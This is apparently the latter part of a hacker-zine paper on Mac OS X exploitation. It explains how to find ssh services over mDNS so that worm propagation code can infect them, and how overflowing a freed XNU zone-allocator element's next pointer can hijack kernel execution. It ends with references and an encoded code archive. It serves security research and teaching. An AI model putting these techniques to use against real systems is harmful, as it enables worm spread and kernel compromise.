    DNSServiceRef *sdRef, 
    DNSServiceFlags flags, 
    uint32_t interfaceIndex, 
    const char *regtype, 
    const char *domain, /* may be NULL */
    DNSServiceBrowseReply callBack, 
    void *context /* may be NULL */
);  

The arguments to this are fairly straight forward. We simply 
pass an uninitialized DNSServiceRef pointer, followed by an
unused flags argument. The interfaceIndex specifies the 
interface on which to perform the query. Setting this to 0 
results on this query broadcasting on all interfaces. The
 regtype field is used to specify the type of service we wish
to browse for. In our example we will search for ssh. So the 
string "_ssh._tcp" is used to specify ssh over tcp. Next the
domain argument is used to specify the logical domain we wish 
to browse. If this argument is NULL, the default domains are 
used. Finally a callback must be supplied in order to indicate
what to do once an instance is found. This function can include
our infection/propagation code. 

Once the call to DNSServiceBrowse() has been made, the function
DNSServiceProcessResult() must be used to begin processing.

This function simply takes the sdRef, initialized from the 
first call to DNSServiceBrowse(), and calls the callback 
function when results are received. It will block until 
finding an instance. 

Once a service is found, it must be resolved to an IP address
and port so it can be infected.

To do this the DNSServiceResolve() function can be used.
This function is very similar to the DNSServiceBrowse()
function, however a DNSServiceResolveReply() callback
is used. Also the name of the service must already be
known. The function prototype is as follows;

	DNSServiceErrorType DNSServiceResolve ( 
	    DNSServiceRef *sdRef, 
	    DNSServiceFlags flags, 
	    uint32_t interfaceIndex, 
	    const char *name, 
	    const char *regtype, 
	    const char *domain, 
	    DNSServiceResolveReply callBack, 
	    void *context /* may be NULL */
	);  

The callback for this function receives the following
arguments:

	DNSServiceResolveReply resolve_target(
	    DNSServiceRef sdRef,
	    DNSServiceFlags flags,
	    uint32_t interfaceIndex,
	    DNSServiceErrorType errorCode,
	    const char *fullname,
	    const char *hosttarget,
	    uint16_t port,
	    uint16_t txtLen,
	    const char *txtRecord,
	    void *context
	);

Once again we must call the DNSServiceProcessResult() 
function, passing the sdRef received from DNSServiceResolve
to begin processing. 

Once within the callback, the port which the service runs
on is passed in as a short in network byte order. 

Retrieving the IP address is simply a case of calling
gethostbyname() on the hosttarget argument.

I have included some code in the Appendix (discover.c)
which demonstrates this clearly. This code can sit in a
loop to enumerate each of the services and infect them.

Opensshd warez not included. ;-)

--[ 10 - Kernel Zone Allocator exploitation

A zone allocator is a memory allocator which is designed 
for efficient allocation of objects of identical size. 

In this section I will look at how the mach zone allocator,
(the zone allocator used by the XNU kernel) works. Then I 
will look at how an overflow into the pages used by the zone 
allocator can be exploited.

The source for the mach zone allocator is located in the file 
xnu/osfmk/kern/zalloc.c. 

Some of objects in the XNU kernel which use the mach zone 
allocator for allocation are; The task structs, the thread 
structs, the pipe structs and the zone structs themselves.

A list of the current zones on the system can be retrieved 
from userspace using the host_zone_info() function. Mac OS X
ships with a tool which takes advantage of this:

	/usr/bin/zprint

This tool displays each of the zones and their element size,
current size, max size etc. Here is some sample output from
running this program.

elem    cur    max    cur    max   cur alloc alloc
zone name                size   size   size  #elts  #elts inuse  size count
---------------------------------------------------------------------------
zones                    80    11K    12K    152    153    95    4K    51  
vm.objects              136  3609K  3888K  27180  29274 21116    4K    30 C
vm.object.hash.entries   20   374K   512K  19176  26214 17674    4K   204 C
...
tasks                   432    59K   432K    141   1024   113   20K    47 C
threads                 868   329K  2172K    389   2562   295   56K    66 C
...
uthreads                296   114K   740K    396   2560   296   16K    55 C
alarms                   44     3K     4K     93     93     2    4K    93 C
load_file_server         36    56K   492K   1605  13994  1605    4K   113  
mbuf                    256     0K  1024K      0   4096     0    4K    16 C
socket                  344    38K  1024K    114   3048    75   20K    59 C

It also gives you a chance to see some of the different types
of objects which utilize the zone allocator.

Before I demonstrate how to exploit an overflow into these
zones, we will first look at how the zone allocator functions.

When the kernel wishes to start allocating objects within a zone
the zinit() function is first called. This function is used to
allocate the zone which will contain each member of that 
specific object type. The information about the newly created
zone needs a place to stay. The "struct zone" struct is used to
accommodate this information. The definition of this struct is 
shown below.

struct zone {
        int             count;          /* Number of elements used now */
        vm_offset_t     free_elements;
        decl_mutex_data(,lock)          /* generic lock */
        vm_size_t       cur_size;       /* current memory utilization */
        vm_size_t       max_size;       /* how large can this zone grow */
        vm_size_t       elem_size;      /* size of an element */
        vm_size_t       alloc_size;     /* size used for more memory */
        unsigned int
        /* boolean_t */ exhaustible :1, /* (F) merely return if empty? */
     /* boolean_t */ collectable :1, /* (F) garbage collect empty pages */
     /* boolean_t */ expandable :1,  /* (T) expand zone (with message)? */
        /* boolean_t */ allows_foreign :1,/* (F) allow non-zalloc space */
        /* boolean_t */ doing_alloc :1, /* is zone expanding now? */
   /* boolean_t */ waiting :1,     /* is thread waiting for expansion? */
/* boolean_t */ async_pending :1,   /* asynchronous allocation pending? */
        /* boolean_t */ doing_gc :1;    /* garbage collect in progress? */
        struct zone *   next_zone;      /* Link for all-zones list */
        call_entry_data_t       call_async_alloc;  
	/* callout for asynchronous alloc */
        const char      *zone_name;     /* a name for the zone */
#if     ZONE_DEBUG
        queue_head_t    active_zones;   /* active elements */
#endif  /* ZONE_DEBUG */
};

The first thing that the zinit() function does is check if there is
an existing zone in which to store the new zone struct. The 
global pointer "zone_zone" is used for this. If the mach zone
allocator has not yet been used, the zget_space() function is
used to allocate more space for the zones zone (zone_zone).

The code which performs this check is as follows:

        if (zone_zone == ZONE_NULL) {
                if (zget_space(sizeof(struct zone), (vm_offset_t *)&z)
                    != KERN_SUCCESS)
                        return(ZONE_NULL);
        } else
                z = (zone_t) zalloc(zone_zone);

If the zone_zone exists, the zalloc() function is used to 
retrieve an element from the zone. Each of the attributes
of this new zone is then populated.

        z->free_elements = 0;
        z->cur_size = 0;
        z->max_size = max;
        z->elem_size = size;
        z->alloc_size = alloc;
        z->zone_name = name;
        z->count = 0;
        z->doing_alloc = FALSE;
        z->doing_gc = FALSE;
        z->exhaustible = FALSE;
        z->collectable = TRUE;
        z->allows_foreign = FALSE;
        z->expandable  = TRUE;
        z->waiting = FALSE;
        z->async_pending = FALSE;

As you can see, The free_elements linked list is 
initialized to 0. The zone_init() function returns
a zone_t pointer which is used for each allocation
of new objects with zalloc(). Before returning 
zinit() uses the zalloc_async() function to allocate
and free a single element in the zone.

Now that the zone is set up, the zalloc() and zfree()
functions are used to allocate and free elements from 
the zone. Also zget() is used to perform a non-blocking
allocation from the zone.

Firstly I will look at the zalloc() function. zalloc()
is basically a wrapper function around the 
zalloc_canblock() function. 

The first thing zalloc_canblock() does is attempt to 
remove an element from the zone's free_elements list
and use it. The following macro (REMOVE_FROM_ZONE) is
responsible for doing this.

#define REMOVE_FROM_ZONE(zone, ret, type)                               \
MACRO_BEGIN                                                             \
        (ret) = (type) (zone)->free_elements;                           \
        if ((ret) != (type) 0) {                                        \
            if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0])) {      \
                panic("A freed zone element has been modified.\n");     \
            }                                                           \
            (zone)->count++;                                            \
            (zone)->free_elements = *((vm_offset_t *)(ret));            \
        }                                                               \
MACRO_END
#else   /* MACH_ASSERT */

As you can see, this macro simply returns the 
free_elements pointer from the zone struct. It
also increments the count attribute and sets the 
free_elements attribute of the zone struct to
the "next" free element. It does this by 
dereferencing the current free elements address.
This shows that the first 4 bytes of an unused 
allocation in a zone is used as a pointer to the
next free element. This will come in handy to us 
later. 

The check is_kernel_data_addr() is used to make 
sure we haven't tampered with the list. The 
definition of this check is shown below:

#define is_kernel_data_addr(a)                                          \
  (!(a) || ((a) >= vm_min_kernel_address && !((a) & 0x3)))

const vm_offset_t vm_min_kernel_address = VM_MIN_KERNEL_ADDRESS;
#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)

As you can see this simply checks that the address is 
not 0, it is greater or equal to 0x1000 (which isn't 
a problem at all) and it's word aligned. This check does 
not really cause any trouble when exploiting an overflow
as you'll see later.

If there are no free elements in the list the 
doing_alloc attribute of the zone is checked.

This attribute is used as a lock. If a blocking 
allocation is performed the allocator will sleep until 
this is unset. 

Once it is ok to allocate an element the 
kernel_memory_allocate() function is used to
allocate one. The allocation is of a fixed
size for the zone. The kernel_memory_allocate() 
function is used at the base level of pretty 
much all the memory allocators present in the
XNU kernel. It basically just uses 
vm_page_alloc() to allocate pages. Once the
zone allocator successfully calls this function
zcram() is used to break the pages up into elements
and add them to the free_elements list. Each element 
is added in the same way zfree() does so now that 
I have looked at the allocation process I will take
show the workings of zfree().
 
The zfree() function is used to add an element back 
to the zone free_elements list. The first thing zfree()
does is to make sure that an element is not being zfree()'ed
which was never zalloc()'ed. This is done using the 
from_zone_map() macro. This macro is defined as follows.

#define from_zone_map(addr, size) \
        ((vm_offset_t)(addr) >= zone_map_min_address && \
	         ((vm_offset_t)(addr) + size -1) <  zone_map_max_address)

In the case of an overflow however, this check is not 
particularly important so I will move on.

Next the zfree() function (if zone debugging is enabled) will
run through and check that the element did not come from
a different zone to the one which has been passed to zfree().
If this is the case a kernel panic() is thrown, alerting
on what the problem was.

Next zfree() runs through all the free_elements in the zones 
list and calls the pmap_kernel_va() function. The code which 
does this is as follows.

     for (this = zone->free_elements;
	     this != 0;
	     this = * (vm_offset_t *) this)
		if (!pmap_kernel_va(this) || this == elem)
			panic("zfree");

The pmap_kernel_va() check is shown below.

#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)
#define pmap_kernel_va(VA)      \
        (((VA) >= VM_MIN_KERNEL_ADDRESS) && ((VA) <= vm_last_addr))

The pmap_kernel_va check simply checks that the address
is greater than or equal to the VM_MIN_KERNEL_ADDRESS. 
This address is defined (above) as 0x1000, the start of 
the first page of valid kernel memory (straight after 
PAGEZERO). It then checks if the address is less than 
or equal to the vm_last_addr. This is defined as 
VM_MAX_KERNEL_ADDRESS (shown below).

vm_last_addr = VM_MAX_KERNEL_ADDRESS;   /* Set the highest address
#define VM_MAX_KERNEL_ADDRESS        ((vm_offset_t) 0xFE7FFFFF)
#define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xDFFFFFFF)

Basically this means that anywhere within almost the entire
address space of the kernel is valid.  

Once these checks are performed, the final step zfree() does 
is to use the ADD_TO_ZONE() macro in order to add the free'ed 
element back to the free_elements list in the zone struct.

Here is the macro used to do this:

#define ADD_TO_ZONE(zone, element)                                      \
MACRO_BEGIN                                                             \
                if (zfree_clear)                                        \
                {   unsigned int i;                                     \
                    for (i=1;                                           \
                         i < zone->elem_size/sizeof(vm_offset_t) - 1;   \
                         i++)                                           \
                    ((vm_offset_t *)(element))[i] = 0xdeadbeef;         \
                }                                                       \
                ((vm_offset_t *)(element))[0] = (zone)->free_elements;  \
                (zone)->free_elements = (vm_offset_t) (element);        \
                (zone)->count--;                                        \
MACRO_END

This macro runs through the memory allocated for the 
element which is being free()'ed in 4 byte intervals.
It writes out 0xdeadbeef to each location, filling
the memory. and clearing any original data. It then
writes into the first 4 bytes of the allocation, the
old free_elements pointer, from the zone struct. 

Now that I have shown briefly how the zone allocator 
functions I will look at what happens in the case of an
overflow.

In the diagram below you can see an element in use
followed by a free element. The first element 
contains the data used by the struct (in this 
sample case the struct is made up.)

The second element consists of the pointer to the 
free element followed by the unsigned long 
0xdeadbeef repeated to fill the struct. Both the
in use and free elements are the same size.

low memory  (0x00000000)
----( Element being overflowed )-----
  00 00 00 01
  22 22 22 22
  33 33 33 33
  00 00 00 00 
  00 00 00 00 
  00 00 00 00 
  00 00 00 00 
-----------( Free Element )----------
[ ff fc 7c 7d ]	<== Pointer to next free element.
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
_____________________________________
high memory (0xffffffff)

In the case where a buffer within the first
in use struct is overflown, (in this case with
capital A [0x41])  it is then possible to overwrite
the free elements "next" pointer. This is 
demonstrated below.
 
low memory  (0x00000000)
----( Element being overflowed )-----
  00 00 00 01
  22 22 22 22
  33 33 33 33
  41 41 41 41 <== Overflow starts here
  41 41 41 41 
  41 41 41 41 
  41 41 41 41 
-----------( Free Element )----------
[ 41 41 41 41 ]	<== Overflow into pointer.
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
_____________________________________
high memory (0xffffffff)

In this case, when the REMOVE_FROM_ZONE() macro
is used by zalloc() the user controlled address
0x41414141 will become the zone struct's new 
free_elements pointer, and consequently, be
used by the next allocation of the element type.

If this address is positioned correctly it may be
possible to have something user controlled overwrite
a useful pointer in kernel space and in this way gain
control of execution. 

Due to the checks performed on zfree() it is 
recommended that efforts should be taken to avoid 
this element being passed to zfree() however.
As this will result in a kernel panic().

--[ 11 - Conclusion
 
Hopefully if you bothered to read this far you learned 
something useful. If not, I apologize.

If you take any of these ideas and work on them further
or know of a better method to do anything covered in this
paper I'd appreciate an email letting me know at:
nemo@felinemenace.org. Flames to mercy@felinemenace.org 
please ;)

Now for the thanks. A huge thankyou to my amazing fiancee pif 
for her love and support while i was writing this.
Thanks to bk for all the help and long conversations about XNU. 
Thanks to everyone at felinemenace for all the support, code 
and fun times. Also a big thank you to my computer for not 
kernel panic()'ing for a third time during the process of 
saving this paper. I think if you had written random bytes 
over the paper a third time I wouldn't have had the stamina 
to rewrite (again).

Finally, this paper isn't complete without another bad Star 
Wars pun to match the title so here we go....

May the fork()'s be with root...

--[ 12 - References

[1] b-r00t's Smashing the Mac for Fun & Profit
	http://www.milw0rm.com/papers/44  
[2] Smashing The Kernel Stack For Fun And Profit
	http://www.phrack.org/archives/60/p60-0x06.txt 
[3] Linux on-the-fly kernel patching without LKM
	http://www.phrack.org/archives/58/p58-0x07
[4] Mach-O Runtime 
	http://developer.apple.com/documentation/DeveloperTools/ ...
	Conceptual/MachORuntime/MachORuntime.pdf
[5] Understanding windows shellcode
	http://www.hick.org/code/skape/papers/win32-shellcode.pdf
[6] Smashing The Kernel Stack For Fun And Profit
	http://www.phrack.org/archives/60/p60-0x06.txt
[7] Ilja's blackhat talk - 
	http://www.blackhat.com/presentations/bh-europe-05/ ...
	BH_EU_05-Klein_Sprundel.pdf
[8] Mac OS X PPC Shellcode Tricks -
	http://www.uninformed.org/?v=1&a=1&t=txt
[9] Smashing the Stack for Fun and Profit - 
	http://www.phrack.org/archives/49/P49-14
[10] Radical Environmentalists by Netric -
	http://packetstormsecurity.org/groups/netric/envpaper.pdf
[11] Non eXecutable Stack Lovin on OSX86 -
	http://www.digitalmunition.com/NonExecutableLovin.txt
[12] Mach-O Infection -
	http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[13] Infecting Mach-O Fies
	http://vx.netlux.org/lib/vrg01.html
[14] class-dump
	http://www.codethecode.com/Projects/class-dump/
[15] HTE -
	http://hte.sourceforge.net
[16] Architecture Spanning Shellcode -
	http://www.phrack.org/archives/57/p57-0x17
[17] Multicast DNS -
	http://www.multicastdns.org/
[18] mDNS RFC	-
	http://files.dns-sd.org/draft-cheshire-dnsext-nbp.txt
[19] mDNS API - 
	http://developer.apple.com/documentation/Networking/
	Conceptual/dns_discovery_api/index.html
[20] mdns command line utility -
	http://developer.apple.com/documentation/Darwin/
	Reference/Manpages/man1/mDNS.1.html
[21] KUNC Reference -
	http://developer.apple.com/documentation/DeviceDrivers/
	Conceptual/WritingDeviceDriver/KernelUserNotification

--[ 13 - Appendix - Code

Extract this code with uudecode. 


begin 644 code.tgz
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
